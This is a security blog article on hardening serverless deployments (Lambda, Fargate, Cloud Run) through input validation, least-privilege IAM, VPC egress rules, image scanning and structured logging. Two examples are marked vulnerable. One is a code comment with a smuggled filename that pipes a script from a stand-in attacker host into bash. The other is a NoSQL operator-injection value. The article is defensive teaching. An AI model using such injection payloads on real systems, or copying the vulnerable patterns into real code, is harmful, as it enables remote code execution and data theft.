Cloud Security

Serverless Security in Depth: Lambda, Fargate, and Cloud Run

Advanced security techniques for serverless architectures — event injection attacks, overpermissioned execution roles, VPC deployment, container image scanning, and cold-start security considerations.

December 1, 20258 min readShipSafer Team

Serverless architectures reduce operational overhead but introduce a new category of security challenges. The attack surface shifts from server configuration to function code, event sources, and IAM permissions. Many security teams find serverless harder to secure than traditional infrastructure because the transient, event-driven nature makes monitoring and incident response less intuitive.

The Serverless Threat Model

Serverless functions are, at their core, code that runs in response to events. The threat model has four primary components:

  1. Function code vulnerabilities — injection attacks, deserialization flaws, dependency vulnerabilities
  2. Overpermissioned execution roles — functions with more IAM permissions than they need
  3. Event source security — malicious or malformed events from API Gateway, SQS, S3, or other triggers
  4. Supply chain attacks — malicious packages in function dependencies or container images

Traditional server hardening (patching OS, firewall rules) is largely handled by the cloud provider. Your responsibility focuses on code quality, IAM, and event validation.

Event Injection Attacks

What Is Event Injection?

In serverless architectures, the "input" to a function is an event — a JSON blob from API Gateway, SQS, SNS, S3, or another source. If function code uses event data in unsafe ways (in database queries, OS commands, or deserialization), event data becomes an attack vector.

Lambda Injection via API Gateway

Consider a Lambda function that builds a DynamoDB query from API Gateway event data:

# VULNERABLE: Direct use of event data in query
def handler(event, context):
    user_id = event['queryStringParameters']['userId']

    # NoSQL injection: attacker sends userId={"$gt": ""}
    response = dynamodb.scan(
        FilterExpression="userId = :uid",
        ExpressionAttributeValues={":uid": user_id}
    )
    return {'statusCode': 200, 'body': json.dumps(response['Items'])}

An attacker can send userId={"$gt": ""} to bypass the filter and return all records. While DynamoDB's parameterized expressions prevent classic SQL injection, improper handling of operator injection is still possible.

Secure version:

import re
from aws_lambda_powertools.event_handler import APIGatewayRestResolver
from aws_lambda_powertools.utilities.validation import validate, SchemaValidationError
from pydantic import BaseModel, field_validator

app = APIGatewayRestResolver()

class QueryParams(BaseModel):
    userId: str

    @field_validator('userId')
    @classmethod
    def validate_user_id(cls, v: str) -> str:
        if not re.match(r'^[a-zA-Z0-9_-]{1,64}$', v):
            raise ValueError('Invalid userId format')
        return v

@app.get("/items")
def get_items():
    try:
        params = QueryParams(**app.current_event.query_string_parameters or {})
    except ValueError as e:
        return {'statusCode': 400, 'body': str(e)}

    response = table.query(
        KeyConditionExpression=Key('userId').eq(params.userId)
    )
    return {'statusCode': 200, 'body': json.dumps(response['Items'])}

SQS Message Injection

Lambda functions consuming SQS messages may be vulnerable if messages from one system are forwarded to another:

# VULNERABLE: OS command injection from SQS message
def process_image(event, context):
    for record in event['Records']:
        body = json.loads(record['body'])
        filename = body['filename']
        # Attacker sends filename = "image.jpg; curl attacker.com/shell | bash"
        os.system(f"convert {filename} output.jpg")  # DANGEROUS

Secure approach — validate and sanitize all message content, use subprocess with explicit argument lists (never shell=True), and treat all event data as untrusted:

import subprocess
import pathlib

def process_image(event, context):
    for record in event['Records']:
        body = json.loads(record['body'])
        filename = body.get('filename', '')

        # Validate filename format
        path = pathlib.Path(filename)
        if path.suffix.lower() not in ['.jpg', '.png', '.gif']:
            print(f"Rejected invalid file extension: {filename}")
            continue
        if path.name != path.name.replace('/', '').replace('..', ''):
            print(f"Rejected path traversal attempt: {filename}")
            continue

        # Use subprocess with explicit args (no shell interpolation)
        subprocess.run(
            ['convert', f'/input/{path.name}', f'/output/{path.stem}.webp'],
            check=True,
            timeout=30,
            capture_output=True
        )

Overpermissioned Execution Roles

The most widespread serverless security issue is execution roles with excessive permissions. Many teams use a single "LambdaFullAccess" role across all functions, or attach AWSLambdaFullAccess as a shortcut.

The Blast Radius Problem

If a Lambda function with s3:* on * is compromised through a dependency vulnerability, the attacker can access every S3 bucket in the account. With iam:PassRole permission, they can escalate further.

Creating Minimal Execution Roles

Each Lambda function should have its own execution role scoped to exactly what it needs:

# In your infrastructure-as-code (CDK example)
from aws_cdk import aws_iam as iam
from aws_cdk import aws_lambda as lambda_
from aws_cdk import aws_s3 as s3

# Create minimal execution role
role = iam.Role(
    self, "ProcessOrderRole",
    assumed_by=iam.ServicePrincipal("lambda.amazonaws.com"),
    managed_policies=[
        iam.ManagedPolicy.from_aws_managed_policy_name(
            "service-role/AWSLambdaBasicExecutionRole"
        )
    ]
)

# Grant only specific permissions needed
order_bucket = s3.Bucket.from_bucket_name(self, "OrderBucket", "my-orders")
order_bucket.grant_read(role)  # Read-only on this specific bucket

orders_table.grant_read_write_data(role)  # Read/write on specific table

# Function gets the minimal role
fn = lambda_.Function(
    self, "ProcessOrderFunction",
    role=role,
    runtime=lambda_.Runtime.PYTHON_3_12,
    ...
)

Using Lambda Resource Policies to Restrict Invocation

Beyond execution roles, restrict who can invoke your functions:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowApiGatewayInvoke",
      "Effect": "Allow",
      "Principal": {"Service": "apigateway.amazonaws.com"},
      "Action": "lambda:InvokeFunction",
      "Resource": "arn:aws:lambda:us-east-1:123456789012:function:my-function",
      "Condition": {
        "ArnLike": {
          "AWS:SourceArn": "arn:aws:execute-api:us-east-1:123456789012:my-api-id/*"
        }
      }
    }
  ]
}

VPC Deployment for Network Isolation

By default, Lambda functions run in an AWS-managed VPC with internet access but no access to your VPC resources. Deploying Lambda inside your VPC provides:

  • Access to VPC resources (RDS, ElastiCache, internal services)
  • Ability to use VPC security groups to control egress
  • No direct internet access (requires NAT gateway for outbound)
# CDK: Deploy Lambda in VPC
fn = lambda_.Function(
    self, "MyFunction",
    vpc=vpc,
    vpc_subnets=ec2.SubnetSelection(subnet_type=ec2.SubnetType.PRIVATE_WITH_EGRESS),
    security_groups=[lambda_sg],
    ...
)

# Security group: allow outbound to specific resources only
lambda_sg.add_egress_rule(
    peer=db_sg,
    connection=ec2.Port.tcp(5432),
    description="Allow PostgreSQL access"
)
lambda_sg.add_egress_rule(
    peer=ec2.Peer.prefix_list("pl-63a5400a"),  # S3 managed prefix list
    connection=ec2.Port.tcp(443),
    description="Allow S3 via VPC endpoint"
)
# No default 0.0.0.0/0 egress rule

Use VPC endpoints for AWS services (S3, DynamoDB, Secrets Manager, STS) to avoid routing function traffic through NAT gateways, which both reduces cost and keeps traffic on the AWS network.

Container Image Security for Lambda and Fargate

Lambda supports container images up to 10GB. Fargate runs container images exclusively. Container image vulnerabilities directly translate to function vulnerabilities.

Scanning Lambda Container Images

# Scan Lambda container image with Trivy before pushing
trivy image \
  --severity CRITICAL,HIGH \
  --exit-code 1 \
  --ignore-unfixed \
  --format table \
  my-lambda-image:latest

# Enable ECR automatic scanning
aws ecr put-image-scanning-configuration \
  --repository-name my-lambda-repo \
  --image-scanning-configuration scanOnPush=true

# Enable ECR enhanced scanning (Inspector-based, continuous)
aws ecr put-registry-scanning-configuration \
  --scan-type ENHANCED \
  --rules '[{
    "repositoryFilters": [{"filter": "*", "filterType": "WILDCARD"}],
    "scanFrequency": "CONTINUOUS_SCAN"
  }]'

Fargate Security Configuration

Fargate task definitions should follow security hardening:

{
  "family": "production-task",
  "networkMode": "awsvpc",
  "requiresCompatibilities": ["FARGATE"],
  "containerDefinitions": [
    {
      "name": "app",
      "image": "123456789012.dkr.ecr.us-east-1.amazonaws.com/my-app:latest",
      "essential": true,
      "linuxParameters": {
        "initProcessEnabled": true
      },
      "user": "1000:1000",
      "readonlyRootFilesystem": true,
      "privileged": false,
      "logConfiguration": {
        "logDriver": "awslogs",
        "options": {
          "awslogs-group": "/ecs/production-task",
          "awslogs-region": "us-east-1",
          "awslogs-stream-prefix": "app"
        }
      },
      "secrets": [
        {
          "name": "DATABASE_URL",
          "valueFrom": "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/db-url"
        }
      ]
    }
  ],
  "taskRoleArn": "arn:aws:iam::123456789012:role/minimal-task-role",
  "executionRoleArn": "arn:aws:iam::123456789012:role/ecs-execution-role"
}

Key security settings:

  • readonlyRootFilesystem: true — prevents writing to the container filesystem
  • privileged: false — containers never run as privileged
  • user: "1000:1000" — run as non-root
  • Secrets from Secrets Manager, not environment variables in plaintext

Cloud Run Security on GCP

Cloud Run containers should follow similar hardening principles:

# cloud-run-service.yaml
apiVersion: serving.knative.dev/v1
kind: Service
metadata:
  name: my-service
  annotations:
    run.googleapis.com/ingress: internal-and-cloud-load-balancing
spec:
  template:
    metadata:
      annotations:
        # Require authenticated access (no unauthenticated invocations)
        run.googleapis.com/execution-environment: gen2
        # Use Workload Identity (no service account key files)
        iam.googleapis.com/allowed-policy-member-types: serviceAccount
    spec:
      serviceAccountName: my-service@project.iam.gserviceaccount.com
      containers:
      - image: gcr.io/project/my-service:latest
        securityContext:
          runAsNonRoot: true
          runAsUser: 1000
          allowPrivilegeEscalation: false
          readOnlyRootFilesystem: true
        resources:
          limits:
            cpu: "1"
            memory: "512Mi"

Lambda Layers and Supply Chain Security

Lambda layers share code across functions, which creates a supply chain dependency. A malicious or compromised layer affects all functions using it.

Audit Third-Party Layers

Before using any public Lambda layer:

# Get the layer's code and scan it
aws lambda get-layer-version-by-arn \
  --arn arn:aws:lambda:us-east-1:123456789012:layer:my-layer:1 \
  --query 'Content.Location' \
  --output text | \
  xargs wget -O layer.zip && unzip layer.zip -d layer_contents/

# Scan extracted contents
trivy fs layer_contents/

Prefer building your own layers from source rather than using untrusted public layers.

Dependency Management

Lambda function dependencies should be pinned to exact versions and scanned regularly:

# requirements.txt - pin exact versions
boto3==1.34.0
requests==2.31.0
pydantic==2.5.0

Integrate pip-audit or safety into your CI/CD pipeline:

- name: Audit Python dependencies
  run: |
    pip install pip-audit
    pip-audit -r requirements.txt --format json --output audit-results.json
    # Fail on critical vulnerabilities
    pip-audit -r requirements.txt -x

Monitoring and Observability

Lambda functions are ephemeral, which makes traditional monitoring approaches inadequate. Use structured logging and distributed tracing:

from aws_lambda_powertools import Logger, Tracer, Metrics
from aws_lambda_powertools.metrics import MetricUnit

logger = Logger(service="order-processor")
tracer = Tracer(service="order-processor")
metrics = Metrics(namespace="OrderService")

@logger.inject_lambda_context(log_event=True)
@tracer.capture_lambda_handler
@metrics.log_metrics
def handler(event, context):
    metrics.add_metric(name="OrdersProcessed", unit=MetricUnit.Count, value=1)

    with tracer.capture_method("process_payment"):
        result = process_payment(event['orderId'])

    logger.info("Order processed", order_id=event['orderId'], result=result)
    return result

Lambda Powertools provides structured JSON logging, AWS X-Ray tracing integration, and CloudWatch Embedded Metrics Format — all essential for debugging security incidents in serverless architectures where you have no persistent server logs to review.

serverless
Lambda
Fargate
Cloud Run
event injection
IAM
container security

Check Your Security Score — Free

See exactly how your domain scores on DMARC, TLS, HTTP headers, and 25+ other automated security checks in under 60 seconds.